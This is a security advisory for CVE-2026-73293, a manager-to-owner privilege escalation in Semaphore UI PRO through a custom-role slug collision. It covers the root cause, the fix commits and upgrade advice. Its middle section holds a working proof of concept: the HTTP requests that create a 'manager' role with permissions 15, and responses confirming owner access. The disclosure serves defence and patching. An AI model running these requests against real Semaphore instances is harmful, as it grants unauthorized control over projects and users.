CVE-2026-73293: Semaphore UI Manager-to-Owner Privilege Escalation via Custom Role Slug Collision
A project manager in Semaphore UI can hijack owner-level permissions by creating a custom role whose slug matches the built-in manager role, because the role validator neither blocks reserved slug…

The problem
Semaphore UI (PRO build) resolves a member's effective permissions in ProjectMiddleware by looking up a role row whose slug matches the member's assigned built-in role name, then replacing the built-in bitmask with the database value. The slug query in GetProjectOrGlobalRoleBySlug ignores project scope, so any matching row in the whole database wins.
The role-creation endpoint POST /api/project/{id}/roles is gated only by CanManageProjectResources, a bit the built-in manager role already holds. ValidateRole checks only that the name field is non-empty: it does not block reserved slugs (owner, manager, task_runner, guest) and enforces no ceiling on the permissions integer a caller may submit.
A manager POSTs a custom role with slug manager and permissions 15 (all four bits, including the owner-only CanUpdateProject bit 8 and CanManageProjectUsers bit 4). On the next request, ProjectMiddleware resolves that row and the manager's effective permissions become owner-equivalent.
The attack requires one authenticated HTTP request and no other preconditions beyond holding the manager role.
Proof of concept
A working proof-of-concept for CVE-2026-73293 in github.com/semaphoreui/semaphore, with the exact payload below.
# Step 1 - baseline: manager has permissions=5, owner-only endpoints return 403
GET /api/project/42/role
Cookie: semaphore=<manager-session>
# -> {"role":"manager","permissions":5}
PUT /api/project/42
Cookie: semaphore=<manager-session>
# -> HTTP/1.1 403 Forbidden
# Step 2 - exploit: create custom role whose slug collides with built-in "manager"
POST /api/project/42/roles HTTP/1.1
Host: semaphore.example.com
Cookie: semaphore=<manager-session>
Content-Type: application/json
{"slug":"manager","name":"pwn","permissions":15}
# -> HTTP/1.1 201 Created
# -> {"slug":"manager","name":"pwn","permissions":15,"project_id":42}
# Step 3 - confirm escalation: manager now holds permissions=15 (owner bitmask)
GET /api/project/42/role
# -> {"role":"manager","permissions":15}
PUT /api/project/42
Content-Type: application/json
{"id":42,"name":"owned","alert":false}
# -> HTTP/1.1 204 No Content
POST /api/project/42/users
Content-Type: application/json
{"user_id":99,"role":"task_runner"}
# -> HTTP/1.1 204 No ContentThe root cause is two missing validations in db/Role.go. ValidateRole (lines 10-15) checks only that the name field is non-empty, leaving slug and permissions entirely unchecked. A caller can therefore submit any slug string, including a built-in reserved slug, with any permission bitmask, including bits that exceed what their role is permitted to hold.
The slug lookup in db/sql/role.go (lines 59-62) runs SELECT * FROM role WHERE slug=? with no project-scope filter. When ProjectMiddleware calls GetProjectOrGlobalRoleBySlug and finds the attacker-created row, it overwrites the effective permission bitmask before the per-route gate checks run (api/projects/project.go lines 49-53).
Because the attacker controls the bitmask value in the database, they can set it to 15 (0b1111), which includes the owner-only bits CanUpdateProject (bit 3) and CanManageProjectUsers (bit 2) that the built-in manager role does not hold.
The fix in commit bb2a4e1f08c8 adds a reserved-slug blocklist to ValidateRole and a maximum-permissions ceiling check keyed to the calling user's own bitmask, so a manager cannot write a role with more bits than they already hold. Commit 1c4bb65df114 scopes the slug lookup to the current project_id, preventing cross-project slug collisions.
The fix
Upgrade to Semaphore UI v2.18.19 (stable) or v2.19.5-beta5 (pre-release). Both include commits bb2a4e1f08c8 and 1c4bb65df114. If you cannot upgrade immediately, remove all project members from the manager role until a patched build is deployed. Only the PRO build with custom project roles is affected; community builds without the role-creation endpoint are not vulnerable.
Reported by Jan Kahmen (turingpoint).
Related research
- high · 7.6CVE-2026-73292CVE-2026-73292: Semaphore UI CSRF Password Takeover
- high · 8.5CVE-2026-50570CVE-2026-50570: Fission Incomplete Capability Denylist Allows CAP_SYS_TIME Privilege Escalation
- highCVE-2026-61549CVE-2026-61549: Woodpecker CI Kubernetes Backend Privilege Escalation via serviceAccountName
- high · 8.1Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection